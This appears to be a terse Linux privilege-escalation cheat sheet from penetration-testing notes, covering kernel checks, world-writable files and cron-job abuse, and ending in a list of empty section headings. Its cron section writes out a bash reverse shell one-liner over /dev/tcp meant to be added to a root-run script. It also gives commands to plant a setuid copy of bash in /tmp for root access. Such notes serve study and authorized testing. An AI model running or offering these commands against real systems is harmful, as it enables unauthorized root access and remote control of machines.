Linux PrivEsc
Kernel Exploits
# checking the Kernel level and Linux OS version.
uname -a
cat /etc/lsb-releaseCron Jobs
# Find world writables files or directories, look for uncommon files which can be leveraged to escalate privelges
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
# Find cron jobs
cat /etc/crontab
# Confirm the job is running using pspy - <https://github.com/DominicBreuker/pspy>
# The -pf flag tells the tool to print commands and file system events and -i 1000 tells it to scan profcs every 1000ms (or every second).
./pspy64 -pf -i 1000
# If a script is running by a root by a cron job and also writable by us then we can add ou reverse shell one liner to the script
bash -i >& /dev/tcp/ip/443 0>&1# Create a file with esame name as cron job in a directory writable by user which is also included in PATH --- #!/bin/bash cp /bin/bash /tmp/rootbash chmod +s /tmp/rootbash --- # make it executable and wait for cron jobto run and then try to execute the script /tmp/rootbash –p
Special Permissions
Sudo Rights Abuse
PATH abuse
Wildcard Abuse
Character
Significance
Credential Hunting
Environment Variable
LD_PRELOAD
LD_LIBERARY_PATH
Weak NFS Privileges
Weak file Permission
Last updated